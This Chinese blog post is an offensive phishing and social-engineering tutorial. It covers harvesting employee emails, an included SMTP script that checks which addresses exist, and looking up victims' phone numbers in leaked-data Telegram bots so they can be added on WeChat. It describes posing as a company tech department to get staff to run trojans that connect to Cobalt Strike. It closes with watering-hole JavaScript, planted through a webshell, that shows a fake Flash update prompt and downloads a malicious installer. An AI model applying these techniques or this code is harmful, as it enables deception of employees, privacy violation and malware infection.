钓鱼与社工系列之寻鱼

钓鱼与社工系列之寻鱼

0x01 广撒网

从互联网中收集目标员工邮箱,发送钓鱼邮件

0x01-1 邮箱收集-theHarvester

这里推荐使用theHarvester脚本收集邮箱

https://github.com/laramies/theHarvester

语法:-d参数指向目标的域名,-b all是用调用theHarvester的所有模板查找邮箱

python3 theHarvester.py -d xxx.com -b all

img

0x01-2 邮箱收集-搜索引擎

微匹:http://www.veryvp.com/
hunter: https://hunter.io/search/domain.com
skymem: https://www.skymem.info/

img

img

img

0x01-3 邮箱收集-验证邮箱有效性

收集到邮箱后,可以先验证邮箱是否真实有效,通过以下的脚本验证邮箱的真实性,脚本在文章末尾。

img

然后对这些真实存在的邮箱发送钓鱼邮件即可。

邮件内容要能吸引员工兴趣,最好是关乎到他们的利益,这样才能诱导他们查看。

并且设置自己的邮箱昵称与目标相关,例如:行政服务部

0x01-4 QQ等第三方邮箱发送钓鱼邮件

img

img

0x01-5 目标员工邮箱

使用目标员工的邮箱发送马,不用考虑邮件网关导致发不进去

img

0x01-6 OA办公系统

OA办公系统可以获取目标大量员工联系方式,对一些安全意识薄弱的部门员工发送“非常重要”的消息。

img

0x02 定向钓鱼(制作对应鱼饵)

0x02-1 对收集到的邮箱用户定向钓鱼

通过tg的社工库查邮箱获取手机号,再通过手机号添加微信定向社工。

下图是我通过qq邮箱发送钓鱼邮件后,如果邮箱存在,则会显示已投递到对方邮箱,如果邮箱不存在,则显示投递失败,已退信。

通过该方法,也可以判断邮箱是否有效。

img

通过qq邮箱发送,还有一个好处,就是有些用户会设置自动回复或者回复了我们的邮件,那么这时候就可以获取到该用户的一些信息。

img

img

从收集到的邮箱中中选择了lining9用户的邮箱,在tg中找到了该邮箱泄露的信息,我们应该关注的重点信息是手机号

img

然后通过微信小号查找该手机号,并添加对方为好友。

这里我直接报对方的名字和邮箱号,一是可以判断是否加错,二是获取对方的信任。

img

制作和目标相关的木马,这个需要先去了解目标的情况。

这里我是调查了他们员工都是用了一种安全桌面客户端,所以我就伪装自己是公司的技术部门,让他更新补丁,于是将马发送给他后,不一会儿就上线到CS了。

img

0x02-2 通过关键字寻找鱼并定向钓鱼

举个例子,通用关键字有: 联系方式、简历、招聘、应聘、贷款、手机号、邮箱 等等

对于一些特殊行业,那么可以自己联想关键字,例如 投标、招标、投诉 等等

自己发挥想象,各种关键字相互组合。

目标名字
"XXXX"  联系方式
        投递简历
        hr
        招聘
        应聘
        贷款
        手机号

img

img

制作一个应聘简历马,然后发过去就可以了。

img

0x02-3 在线客服

一些企业或者金融行业,他们的网站都有在线客服功能。那么可以通过人工服务去定向社工。

例如:在线客服处有上传文件的功能,那么就将我们的马直接传上去,诱导客服运行。

或者就想办法加这些客服人员的微信,具体的话术自己构造。

img

上图中的马的名字也是有根据的,我是在他们的网站上找到下面的信息,然后问客服打不开文件是什么原因。诱导客服尝试打开我们的马。

img

0x02-4 水坑

前提:拿下了webshell后,在webshell中植入下面的项目。

https://github.com/r00tSe7en/Flash-Pop

效果:当有人第一次访问时,会触发下图的弹框,诱导访问者点击立即升级,这时候会跳转到我们的Flash木马地址自动下载。当访问者点击安装了木马后,就会上线到远控端。然后将访问者的浏览器设置一个cookies,避免访问者刷新后又弹框。这样就不会触发访问者的警觉了,误以为安装了Flash后就可以了。

img

验证邮箱真实性脚本

'''
在线验证邮箱真实性
'''
import random
import smtplib
from termcolor import cprint
import dns.resolver
import time
from queue import Queue
from threading import Thread
# 查询邮件服务器
def get_mailServer(server):
    print('查找[{}]邮箱服务器...'.format(server))
    try:
        answers = dns.resolver.query(server, 'MX')
        res = [str(rdata.exchange)[:-1] for rdata in answers]
        print('\t[{}]邮件服务器:{}'.format(server, res))
        return res
    except Exception as e:
        print('\t[error] : {}'.format(e.args))
        return []
# 判断邮箱是否存活
def checkEmail(mailServers, emails_queue, aliveEmails):
    try:
        mailServer = random.choice(mailServers)
        print('\t连接服务器:{}'.format(mailServer))
        s = smtplib.SMTP(mailServer, timeout=10)
    except Exception as e:
        print('\t[error] : {}'.format(e.args))
        return
    while not emails_queue.empty():
        email = emails_queue.get()
        num = emails_queue.qsize()
        try:
            helo = s.docmd('HELO chacuo.net')
            # print(helo)   # (250, b'Forcepoint email protection service')
            send_from = s.docmd('MAIL FROM:<test@test.test>')
            # print(send_from)  # (250, b'2.1.0 Ok')
            send_from = s.docmd('RCPT TO:<%s>' % email)
            # print(send_from)  # (550, b'5.1.1 Error: invalid recipients is found from 101.68.81.227') 或者 (250, b'2.1.5 Ok')
            if send_from[0] == 250 or send_from[0] == 451:
                # final_res[email] = True  # 存在
                cprint('\t[{}] [+] {}'.format(num, email), 'red')
                aliveEmails.append(email)
            elif send_from[0] == 550:
                # final_res[email] = False  # 不存在
                print('\t[{}] [-] {} 不存在'.format(num, email))
            elif send_from[0] == 503:
                cprint('\t[{}] [-] {} code = 503 重新连接邮件服务器{}'.format(num, email, mailServer))
                s.close()
                time.sleep(10)
                try:
                    s = smtplib.SMTP(mailServer, timeout=10)
                except Exception as e:
                    s.close()
                    time.sleep(10)
                    s = smtplib.SMTP(mailServer, timeout=10)
                helo = s.docmd('HELO chacuo.net')
                send_from = s.docmd('MAIL FROM:<test@test.test>')
                send_from = s.docmd('RCPT TO:<%s>' % email)
                if send_from[0] == 250 or send_from[0] == 451:
                    cprint('\t[{}] [+] {}'.format(num, email), 'red')
                    aliveEmails.append(email)
                elif send_from[0] == 550:
                    print('\t[{}] [-] {}'.format(num, email))
            else:
                # final_res[email] = None  # 未知
                print('\t[{}] [-] {} : {} : {}'.format(num, email, send_from[0], send_from))
        except Exception as e:
            print('\t[{}] [error] {} : {}'.format(num, email, e.args))
            s.close()
            try:
                s = smtplib.SMTP(mailServer, timeout=10)
            except Exception as e:
                s.close()
                time.sleep(10)
                s = smtplib.SMTP(mailServer, timeout=10)
    s.close()
def run(emails):
    Server_emails = {}      
    aliveEmails = []    # 存活的emails
    for email in emails:
        name, server = email.split('@')
        if Server_emails.get(server):
            Server_emails[server].append(email)
        else:
            Server_emails[server] = [email]
    print(Server_emails)
    for server in Server_emails:
        mailServers = get_mailServer(server)
        if mailServers:
            emailsNums = len(Server_emails[server])
            emails_queue = Queue(-1)
            for email in Server_emails[server]:
                emails_queue.put(email)
            threads = []
            for i in range(5):
                t = Thread(target=checkEmail, args=(mailServers, emails_queue, aliveEmails))
                threads.append(t)
                t.start()
            for t in threads:
                t.join()
    return aliveEmails
def run_verifyEmails(emails):
    aliveEmails = run(emails)
    return aliveEmails
if __name__ == '__main__':
    emails = []
    with open('mail.txt', 'rt') as f:
        for each in f.readlines():
            emails.append(each.strip())
    aliveEmails = run_verifyEmails(emails)
    print(aliveEmails)

flash.js新增代码,通过新增cookeis避免多次弹框:

function setCookie(cname,cvalue,exdays) {
  var d = new Date();
  d.setTime(d.getTime() + (exdays*24*60*60*1000));
  var expires = "expires=" + d.toGMTString();
  document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}
function getCookie(cname) {
  var name = cname + "=";
  var decodedCookie = decodeURIComponent(document.cookie);
  var ca = decodedCookie.split(';');
  for(var i = 0; i < ca.length; i++) {
    var c = ca[i];
    while (c.charAt(0) == ' ') {
      c = c.substring(1);
    }
    if (c.indexOf(name) == 0) {
      return c.substring(name.length, c.length);
    }
  }
  return "";
}
var download666 = function() {
    setCookie("username1", "True", 30);
    setTimeout("location.href='./'", 500 );
    setTimeout("localStorage.setItem('isUpdate', '1');", 500 );
    window.open('./autoinstall/flashplayerpp_install_cn.exe');
}
function checkCookie() {
    var user=getCookie("username1");
    if (user == "") {
        document.write("<script src='./layer/jquery.min.js'></script>");
        document.write("<script src='./layer/layer.js'></script>");
        window.onload = function(){
            layer.open({
                type: 1,
                move: false ,
                area: ['613px', '328px'],
                title: false,
                shade: 0.6,
                //maxmin: true ,
                anim: 1,
                offset: '100px',
                scrollbar: false,
                content: '<a href="javascript:;" onclick="download666()"><img src="./flash.jpg"></a>'//创建图像
            });
        }
    }
}
checkCookie();

   转载规则


《钓鱼与社工系列之寻鱼》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。